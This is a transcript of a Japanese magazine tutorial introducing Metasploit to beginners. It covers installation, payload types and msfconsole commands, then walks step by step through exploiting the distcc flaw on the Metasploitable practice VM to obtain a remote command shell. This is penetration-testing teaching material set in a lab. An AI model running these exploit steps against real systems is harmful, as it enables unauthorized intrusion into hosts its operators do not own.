Transcript
Page 1: 初心者でも大丈夫! 実際に動かしてみよう Metasploit€» Metasploit Consoleの起動画面。Windows環境なので 気軽に試すことはできるが、セキュリティソフトを停止(も

142

 Metasploit はほぼすべての UNIX(各種 Linuxや Mac OS X を含む)で動作するほか、Windows版も用意されている。ただし Windows 版には、Raw socket を使用するモジュール(Syn scan やpSnuffle など) が 動 作し ない、Lorcon およびLorcon2 を使用した無線 LAN 関連のモジュールが動作しないなどの制限がある。 また、Metasploit のモジュールには多数の攻撃コードが含まれるため、アンチウイルスの例外設定をしないとインストールや実行ができない、パーソナルファイアウォールを設定変更しないと攻撃の一部が成功しないなどの問題もある。よってできるかぎり Linux 版を使用することを推奨するが、どうしても Windows 版を使用したい場合は、仮想環境上で実行するなど自己責任で利用してもらいたい。Windows 版、Linux 版ともインストールは非常に簡単で、インストーラーをダウンロードして実行するだけで必要な環境が自動的にセットアップされる。本誌でお馴染みのBackTrack4 には Metasploit が標準でインストールされているため、本稿での説明は BackTrack4をベースに行うこととするが、基本的にどの OSであっても操作方法は共通だ。

 Metasploit の 基 本 的な使い方は、攻 撃 対 象の脆弱性に合わせた Exploit モジュールを選択、Exploit 成功後に攻撃対象上で実行されるコード

である「ペイロード」を選択、攻撃対象の IP アドレスなどのオプションを選択し Exploit を実行といった流れだ。 Exploit にはサーバーに対し直接行う「アクティブな脆弱性攻撃」と、Metasploit が接続を待ち受けアクセスしてきたブラウザーなどのクライアントを受動的に行う「パッシブな脆弱性攻撃」がある。「ペイロード」にはコマンドシェルを起動するものや VNC で のリモート GUI 操 作を可能とするもの、Meterpreter という高機 能なシェルを起動するものがあり、さらにセッションの確立方法として Metasploit から攻撃対象に対し接続を確立するもの(bind_tcp)と攻撃対象からMetasploit 側にリバース接続するもの(reverse_tcp)に分けられる。 また、バナー情報取得などの各種調査ツールや DoS 攻撃、ファジングなどのペイロードを必要としないモジュールは「Auxiliary(補助)」モジュー ルと 呼 ば れ る。Metasploit Framework 3.5.1 がリリースされた 2010 年 12 月 15 日時点で 635 の Exploit モジュール、215 のペイロード、314 の Auxiliary モジュールが用意されている。

 Metasploit のインターフェイスにはコンソール(msfconsole)と GUI(msfgui)があるが(以前

は Web インターフェイスもあったが廃止された)、ぜひ msfconsole での操作を覚えていただきたい。 というのは msfgui は開発が安定しておらず、しばしば開発が中断されたり大きく変更されたりす

基本的な操作方法

さまざまなOSで利用可能

複数あるインターフェイス

ここでは起動から実際の攻撃まで説明する。初心者が最初に戸惑うのは起動方法だろう。コマンドラインでの作業を難しく感じるかもしれないが、慣れの問題だ。記事のとおり進めていけば問題ない。

Metasploitの基本的な使い方

初心者でも大丈夫! 実際に動かしてみよう

文●北河拓士

Page 2: 初心者でも大丈夫! 実際に動かしてみよう Metasploit€» Metasploit Consoleの起動画面。Windows環境なので 気軽に試すことはできるが、セキュリティソフトを停止(も

143

攻撃コード実行 の2PART

ることがあるのと、大半の利用者が msfconsoleを 使 用しており、Google など で検 索をしてもmsfconsole での使用法が解説してあることがほとんどだからだ。 msfconsole で はすべてキーボード で の入 力となるが、Tab による入力補完や上下矢印キー

によるコマンド履 歴もあるので 慣 れ れば 難しくはない。どうしても GUI が使いたいという人は、Metasploit の GUI フ ロ ントエ ンド で あ るArmitage が お 勧 め だ。Armitage に つ い て はP166 から解説しているのでそちらを参照していただきたい。

※ 付録 DVD のリンクからダウンロード。VMware Player から起動して ID:msfadmin、パスワード:msfadmin でログインしifconfi g コマンドでターゲットサーバーの IP アドレスを確認する。P110 も参照

1

 では Metasploitable ※というやられサーバーを攻 撃 対 象として、 実 際 に Metasploit の 基 本的 な 使 い 方 を 見 て い こう。Metasploitable はMetasploit Project が提供する練習用やられサー

バーの VMware イメージで、複数の脆弱性があらかじめ仕込んである。ここでは分散コンパイル環境 distcc の脆弱性を攻撃してみることとする。

Metasploitを起動してターゲットサーバーにアタック

root@bt:~# cd /pentest/exploits/framework3 ←カレントディレクトリの変更root@bt:/pentest/exploits/framework3# ./msfupdate ←最新版への更新を行う[*][*] Attempting to update the Metasploit Framework...[*]U plugins/editor.rbA plugins/ffautoregen.rbA modules/auxiliary/dos/windows/ftp/iis75 _ ftpd _ iac _ bof.rbUpdated to revision 11458.root@bt:/pentest/exploits/framework3#

msfconsole を起動する前にまず最新版への更新しておこう。Metasploit をインストールしたディレクトリに移動し ./msfupdate と実行することで最新版へのアップデートが行われる

2 root@bt:/pentest/exploits/framework3# ./msfconsole ←コンソールの起動    _ _    _ | | (_)_ ____ ____| |_ ____ ___ ____ | | ___ _| |_| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___) |_|

   =[ metasploit v3.6.0-dev [core:3.6 api:1.0]+ -- --=[ 640 exploits - 322 auxiliary+ -- --=[ 215 payloads - 27 encoders - 8 nops   =[ svn r11458 updated today (2010.12.31)

更新が完了したら ./msfconsole と入力することでコンソールを起動する。起動が完了するとバージョンや対応するモジュール数などが表示される。Metasploit のバナーも何パターンかあるので、起動ごとに違うパターンが出るのを楽しんでいただきたい

3 msf > help ←ヘルプの出力

Core Commands============= Command Description ------- ----------- ? Help menu back Move back from the current context(中略)

次ページに続く

Page 3: 初心者でも大丈夫! 実際に動かしてみよう Metasploit€» Metasploit Consoleの起動画面。Windows環境なので 気軽に試すことはできるが、セキュリティソフトを停止(も

144

set コマンドでペイロード、攻撃対象の IP アドレスを指定する

msf > search distcc ←モジュールの検索[*] Searching loaded modules for pattern ‘distcc’...Exploits======== Name Disclosure Date Rank Description ---- --------------- ---- ----------- unix/misc/distcc _ exec 2002-02-01 excellent DistCC Daemon Command Executionmsf >

まずは help と入力してどのようなコマンドがあるか概要を確認してみよう。次に search distcc と入力して今回ターゲットとする distcc に関するモジュールを検索してみる

4 msf > use exploit/unix/misc/distcc _ exec ← Exploitの指定

msf exploit(distcc _ exec) > info ←指定した Exploitに関する情報の出力 Name: DistCC Daemon Command Execution Version: 9669 Platform: Unix Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent

(中略)

msf exploit(distcc _ exec) > show payloads ←利用できるペイロードの確認

Compatible Payloads===================

Name Disclosure Date Rank Description ---- --------------- ---- ----------- cmd/unix/bind _ perl normal Unix Command Shell, Bind TCP (via perl) cmd/unix/bind _ ruby normal Unix Command Shell, Bind TCP (via Ruby) cmd/unix/generic normal Unix Command, Generic command execution cmd/unix/reverse normal Unix Command Shell, Double reverse TCP (telnet) cmd/unix/reverse _ perl normal Unix Command Shell, Reverse TCP (via perl) cmd/unix/reverse _ ruby normal Unix Command Shell, Reverse TCP (via Ruby)

use コマンドで Exploit の指定を行う。info コマンドで選択したモジュールに関する詳細な情報を参照、show payload で利用できるペイロードが確認できる

5

6

Msf exploit(distcc _ exec) > set PAYLOAD cmd/unix/bind _ perl ←ペイロードの指定PAYLOAD => cmd/unix/bind _ perlmsf exploit(distcc _ exec) > set RHOST 192.168.0.5 ←攻撃対象の IPアドレスの指定PAYLOAD => 192.168.0.5

msf exploit(distcc _ exec) > show options ←オプションの確認

Module options:

Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.0.5 yes The target address RPORT 3632 yes The target port

Payload options (cmd/unix/bind _ perl):

Name Current Setting Required Description ---- --------------- -------- ----------- LPORT 4444 yes The listen port RHOST 192.168.0.5 no The target address

Page 4: 初心者でも大丈夫! 実際に動かしてみよう Metasploit€» Metasploit Consoleの起動画面。Windows環境なので 気軽に試すことはできるが、セキュリティソフトを停止(も

145

攻撃コード実行 の2PART

Exploit target:

Id Name -- ---- 0 Automatic Target

show options で設定内容の確認を行う

7 msf exploit(distcc _ exec) > exploit ← Exploitの実行

[*] Started bind handler[*] Command shell session 2 opened (192.168.0.1:46104 -> 192.168.0.5:4444) at Fri Dec 31 18:59:21 +0900 2010

id ←コマンドの入力 UIDの確認uid=1(daemon) gid=1(daemon) groups=1(daemon)uname -a ←コマンドの入力 システム情報の確認Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

設定内容に誤りがなければ exploit コマンドで Exploit の実行を行う。Exploit が成功し攻撃対象のホスト上でコマンド実行が可能になったことがわかる

Windows版 Metasploitのインストール方法

最初は「Warning」の警告ウインドウが出てくるが、それ以外は普通のソフトと同じように、インストーラーのボタンを押すだけ

 Metasploit Frameworkのダウンロードページ※からWindows用のインストーラーをダウンロードする。ミニマム・ インストーラーも用意されているが基本的にはフル・インストーラー(framework-3.5.1.exe)を選択すればよい。 ダウンロードしたデータをダブルクリックすると、

「アンチウイルスを停止するか Metasploit をインストールするディレクトリを例外設定して下さい」という警告と「Metasploit の実行前にはファイアウォールを停止して下さい」という警告が表示される。アンチウイルスやファイアウォールの停止は危険性を十分理解した上、自己責任で実施していただきたい。

 それぞれにOKをクリックするとインストールが開始される。ライセンスへの同意を選択し、インストールするフォルダを指定したら、あとはすべて Nextをクリックしていけばインストールが完了する。インストール後はスタートメニューから「Metasploit Framework」 →「Metasploit Update」を 実 行し、最新版に更新を行う。Metasploit Update が終了したらスタートメニューから「Metasploit Framework」→「Metasploit Console」を 実 行 することに よりmsfconsole が立ち上がる。

※ http://www.metasploit.com/framework/download/

Metasploit Console の起動画面。Windows 環境なので気軽に試すことはできるが、セキュリティソフトを停止(もしくは設定変更)させた状態なので、お勧めはできない


Recommended